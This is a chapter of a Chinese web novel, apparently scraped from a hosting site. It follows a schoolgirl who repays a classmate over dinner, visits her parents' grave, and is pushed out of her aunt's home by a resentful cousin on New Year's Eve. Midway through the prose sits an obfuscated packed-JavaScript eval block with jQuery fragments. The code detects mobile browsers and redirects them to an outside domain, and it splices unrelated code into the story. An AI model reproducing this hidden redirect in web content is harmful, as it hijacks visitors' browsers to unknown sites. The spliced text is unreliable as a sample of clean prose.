当晚，两个人约在了学校附近一家学生常去的小餐厅。
这家店是翟疏雨推荐的，布置得像一栋花园小洋楼，主打西式融合菜，据她说很平价，不过龄中学生口里的“平价”——
喻鑫翻开菜单一看，果不其然，最便宜的茄汁意面都要39一份。
“随便点，想吃什么点什么。”人生第一次，喻鑫说出如此阔绰的话。
闻叙了然点头：“那就菜单上的都来一份吧。”
“……”喻鑫无措地定住两秒，开始疯狂翻菜单，“我先算算价格……”
别一顿饭给她两万一都干走了。
“你这人怎么这么好骗。”闻叙将菜单从她手上抽走，“小时候居然没被人贩子拐走，看来你爸妈没少费苦心。”
喻鑫垂下眼开始回忆自己的小时候，突然听见对面传来一句“抱歉”。
“没事啊。”她回过神来，忙摆手，“人贩子哪敢拐我，我妈能举着菜刀追他一路。”
她才不是好骗，她只是不了解罢了。
她哪知道有钱人都是怎么点菜的，偶像剧里那种大手一挥，真端上整本菜单的也不是没有。
比如闻叙一定也不知道，会有一家人为了省电费，可以关着灯洗澡，锻炼出来她如今一流的夜视能力。
最后，闻叙点了份黑牛肝菌烩饭，而喻鑫点了那份茄汁意面。
这家店的味道不错，摆盘也很是精美，让喻鑫都有点儿舍不得动叉子。
当然还有一部分原因是——
她不太会用叉子吃面。
她学着电视里教的，试图用叉子卷起意面，结果这面又圆又滑，好几次卷一半就溜走了，吃了一嘴空。
最便宜的饭是46，早知道就不省那七块钱了。
“叉子给我。”她听见对面的人说。
喻鑫不明所以，还是乖乖把叉子递过去。
闻叙将她的盘子朝自己拉近了些，亲身示范怎么下叉子，怎么卷，他卷出来的意面又整齐又牢固，轻轻晃都不会散。
喻鑫看得一脸认真，末了自己试了试，虽然还是一团糟，但起码能平安送到嘴里了。
“谢谢。”喻鑫顿了顿，“不过，你刚刚不会一直在心里偷笑我吧。”
要不她怎么总感觉有道目光飘向自己。
“笑你什么，笑你不会卷意面？”
“……就知道有。”
“那你还真猜错了。”闻叙说，“我第一次吃意面也不会卷，还被人笑是‘土包子’，所以我不可能笑你。”
“啊？谁这么说，好讨厌。”
“不重要了。”
喻鑫看着他面无表情的脸，总觉得，他也有很多事瞒着自己。
但是她想，每个人都有拥有秘密的权利。
就像她，也藏了好多话没有告诉他。
一餐饭吃到尾声，喻鑫打开书包，从夹层翻出一个信封递给他。
这也是她请闻叙吃饭的主要目的，里面装着她中午刚从银行取的钱。之前他代付的秋游报名费，还有给她买颈枕、玩偶和圣代的钱，她大概估算了一下，一共取了2000块。
闻叙大概扫了一眼，便将信封推了回去。
喻鑫再推过去，他又推回来，就这样反反复复好几次。
到最后闻叙显然面露不悦：“你想跟我绝交？”
喻鑫忙摇头：“没有啊。”
“没有就把钱收回去。”
“你要是不收钱，我才真的要跟你绝交呢。”喻鑫嘟囔道。
“嗯，行，明天起不用见面了。”
明天开始放寒假，本来就不用见。
不对，重点才不是这个。
喻鑫：“我知道这笔钱对你来说不算什么，但对我来说很重要。”
“那就说明，这笔钱在你那里，比在我这里更有意义。”
“可是我的负担也更大啊。”喻鑫下意识抬高嗓音，察觉到周围人异样的目光，她忙又小声道，“我不想每次见到你心里都带着亏欠，我讨厌钱，它毁掉我太多人生了，但我更讨厌和别人因为钱产生牵绊。”
“如果我想和你产生牵绊呢？”
喻鑫抬头看向他，一时哑口。
最终，闻叙只收下了秋游的报名费。
他的理由很直接：“剩下的是我送你的礼物，用钱来回礼，你不觉得像是侮辱吗。”
她本来就总说不过闻叙，这会儿甚至自己都觉得他说的有点道理，只好收回了剩下的钱。
“也别因为我说了这话，就马上买点什么给我，整的像是急着跟我撇清关系似的。”他又补了一句。
“……你怎么知道我打算出门就去精品店。”
“嗯，你还不好猜么。”闻叙哼笑着扫她一眼，“巴不得马上还干净，然后跟我老死不相往来。”
不好意思，这个你猜错了欸。
她只想和他往来得久一点，再久一点。
其余的钱，喻鑫也有规划。
她打算给自己留一千，剩下的再加上后续还会打来的赔款，她准备全部给姑姑。
这两万看着多，其实只够姑姑帮她交的一学期学费。
更别提她还天天住姑姑的吃姑姑的，恩情怎么也还不完。
收到钱时，姑姑看起来很高兴，甚至还用力抱了她一下。
她看着信封里的钱，笑意都收不住：“诶哟，我和你姑父前段时间还发愁呢，你和你哥下学期的学费怎么办，你这来得太及时了。”
终于能为姑姑分担一点，喻鑫也很高兴。
听说后续还会有钱打来，姑姑感慨道：“这么好啊，被人骂几句能拿这么多钱。”
姑父在旁边笑着附和道：“回头我们也上网让人骂骂去。”
姑姑：“哈哈，还是年轻人有头脑。”
喻鑫在一旁不知说些什么，只勉强地跟着笑笑。
他们口中所谓的“骂几句”，差一点就将她从楼上骂了下去。
“我明天想回老家一趟。”在他们笑完后，喻鑫说。
姑姑看向她：“哦，行啊，要你姑父送你吗？”
“不用了，我自己坐大巴就好。”
第二天一早，喻鑫赶着早班地铁，又转了公交，来到了汽车站。
这还是上世纪的建筑，最近一次修缮也已经是十年前。如今动车高铁飞机应有尽有，几乎没什么人会来坐大巴。
一踏上台阶，喻鑫已经有点头晕了。
车内人很少，她找了个靠窗的位置，两眼一闭试图让自己快点昏睡过去。
随着大巴启动，那股让人不适的汽油味愈发浓重，弥散在又闷又热的车厢内。
喻鑫像是低血糖发作的病人，手颤抖着摸向书包，翻出侧兜里备好的橘子，剥开，微凉的汁水溅到脸颊的时候，她深吸了一口气。
橘子的清凉宜人，驱走了些许不适。
为了怕吐出来，她在车上是不会吃橘子的。喻鑫将剥出的果肉装好，把橘子皮贴在鼻腔边，重新闭上了眼。
但她却睡不着了。
明明以前闻着橘子皮很快就能睡过去，现在满脑子却是某个有着橘子味儿的人。
只是，一个月寒假过去，他还会记得她吗？
早知道就不那么急着还钱了。
她自私地想。
一个多小时后，大巴准时抵达县汽车站。
踏上这个熟悉的地方，悲伤像是从地里生长出来，渐次将她环绕。
喻鑫站在门口的公交站台上，耐心等待着。
市里的一切都匆匆，地铁上一秒刚开走，下一班就接踵而至。
而这里的一切像被按下暂停键，还保留着世纪初的模样，发展慢，公交也慢，等了快一小时才姗姗来迟。
终点站是墓园，她在前一站下了车，路两边全是卖祭祀用品的，喻鑫挑挑拣拣，买了好多。
母亲总说衣服能穿就行，但每每经过橱窗时，都会多看两眼；父亲最爱吃红烧肉了，但他每次只夹两筷子，剩下都留给她。
没关系，现在她可以买穿不完的衣服、吃不完的肉送给他们。
末了，她提着两大袋东西，走完了最后一站路。
墓园里等级鲜明。有的装修豪华，一块墓占了好几平的地，布置得像个小花圃；有的虽然占地不算大，但墓碑又大又光洁还镶金；当然更多的是像她父母这样的，又小又矮的墓碑，密密麻麻挤在一起，宛如超市货架上的商品。
喻鑫有点儿难过，他们从生到死，都一直住在这般拥挤狭小的地方。
她仔仔细细将墓碑和墓穴上的浮灰擦干净，又把祭品整整齐齐码好，而后坐在地上，愣愣地看着这两张脸。
事发突然，父亲用的是早年在厂里拍的证件照，一头短发还是乌黑的。母亲的照片则是她几年前回老家，和兄弟姐妹的合影上截下来的，在照相馆修了好一会儿才勉强能用。
喻鑫以为她会哭，会说很多话，但最终她都没有。
她只是安安静静地坐着、看着，到最后，早起奔波大半天的她有些困了，不知不觉竟在墓前睡着了。
最终，还是墓园清场的工作人员叫醒了她。
“下次见。”喻鑫向父母挥挥手，起身穿过像海浪般层层叠叠的墓碑，直到走出墓园，冷风一吹，她下意识摸了下脸，居然是湿的。
-
今年过年时间比较晚，刚好赶上了日本的春假，得知表哥要回来，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782217|173090||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姑姑姑父提前一周就开始准备。
厨房一刻没消停过，客厅摆满了表哥爱吃的零食，家中里里外外做了个大扫除。不过，忙的主要是姑姑，姑父每天提着个钓桶出门，美其名曰“多钓几条大鱼给儿子吃”。
表哥回来当天，姑姑姑父提前三小时就出发去机场等着了。喻鑫也没闲着，一趟又一趟地把自己的东西搬到客厅。
原主人要回来了，这个卧室是时候物归原主。
喻鑫一直等到了夜里，一家三口才到家。据说，他们回家路上经过一家商场，就带着表哥进去买了些东西，顺带在商场里吃了晚饭。
“你晚上怎么都没吃饭，是等着我回来做啊？”
姑姑是用开玩笑的语气说的，喻鑫便也只能陪笑。
收拾了一下午，傍晚她已经饿得不行。但想着姑姑在厨房忙活这么久，晚上大抵是要在家吃饭的，喻鑫便一直忍到了现在。
姑父下意识想坐上沙发休息休息，没两步，看见沙发上已经被她的东西堆满，便只好叹口气，转身回了主卧。
喻鑫用余光一直在观察表哥，看他面无表情地推着行李进了卧室。门轰然关上，回音消散后，隐约能听见内里整理东西的声音，伴随着几声“啧”“唉”“嘁”。
她神经紧绷，不断回想着自己最后一次离开卧室的样子。应该没有落下什么东西，每个角落也都擦得干干净净。
下一秒，门突然被打开，表哥看也没看她一眼，随手扔出个什么，又把门摔上。
喻鑫忙起身上前，是她之前放在表哥那格衣柜里的领带。
还是遗漏了。
喻鑫捡起那根皱巴巴的领带，它现在看起来是那么可怜落魄，耷拉在它手心，随着她的步伐摇晃。
距离寒假结束还有十七天，她盯着墙上的日历，开始给自己倒数。
上次睡客厅还是夏天，炎热尚且可以忍受，但寒冷难以抵御。昌瑞的冬天没有暖气，有的只是深入骨髓的寒意，透过墙壁透过被褥，常常一觉醒来手脚都仍是冰凉。
喻鑫在沙发上缩成一团，她又冷又困，次卧门缝透出的光将客厅照亮了一小块，耳畔不时传来表哥连麦打游戏的声音。
她不知道自己是几点入睡的，但她知道第二天，她是六点半被在厨房忙碌的姑姑吵醒的。
喻鑫帮忙做了会儿家务，便跪坐在茶几旁写作业，直到十二点半，随着表哥的起床，午饭正式开启。
今天的菜确实丰盛，桌上都快要摆不下。鸡腿鱼腹这些不消说肯定都是表哥的，喻鑫没想抢，但她还是不习惯每次她伸筷子时，表哥下意识审视的目光。
有一次，她故意将筷子伸向那最后一只鸡腿。果然，刚刚还瘫坐着的表哥瞬间直起腰来。她虚晃一枪，夹走了一旁的空心菜，看着表哥霎时茫然的表情，她差点没笑出声来。
喻鑫以为自己可以一直忍到寒假结束。
直到除夕那晚，姑姑将红包递给她的时候，表哥终于忍不住了：“她住我们家的吃我们家的，凭什么还给她钱？”
气氛霎时有些尴尬，姑姑笑着想去打圆场，话还没开口，就见表哥一摔筷子，离席回了房间。
换个角度，她其实可以理解表哥。
当了二十年独生子，户口本上突然多了一个人，花着原本属于他的钱，在他离家时霸占他的卧室。
所以，当姑姑姑父也纷纷离席时，她一个人默默收拾好了餐桌和厨房。
最后，喻鑫又开始收拾自己的行李，在寒风中走上了街头。
除夕的老街，看起来比平日更为静谧。她希望那一扇扇亮灯的窗口后，承载的都是温馨和睦。
喻鑫蹲在一个勉强能挡风的角落，点开购票系统，看见最晚一班汽车票是下午六点。
今天是回不了家了，她又开始搜索周围有没有二十四小时营业的便利店快餐店之类。
搜一半，手机里弹出一条消息，来自叶方笙。
她拍了自家的年夜饭，祝喻鑫除夕快乐，又问她今晚吃了什么好吃的。
聊天框打了又删，最后，她在网上搜了一张年夜饭图，发了过去。
刚按下发送，手机又是一长串接连不断的提醒。原来是来自班群，不知谁带头发了除夕快乐，下面一群家长在复制粘贴。
喻鑫屏蔽掉班群，正准备继续搜索，手机又震动了一下。
这次是一条短信——
“除夕快乐！”
那是个陌生号码，喻鑫盯着它看了好半天，目光逐渐移向绑在行李箱上的那根领带。
它被打了个漂亮的蝴蝶结，在夜幕下闪着润泽的光芒。
“除夕快乐。”她回道。
“我想Milo了。”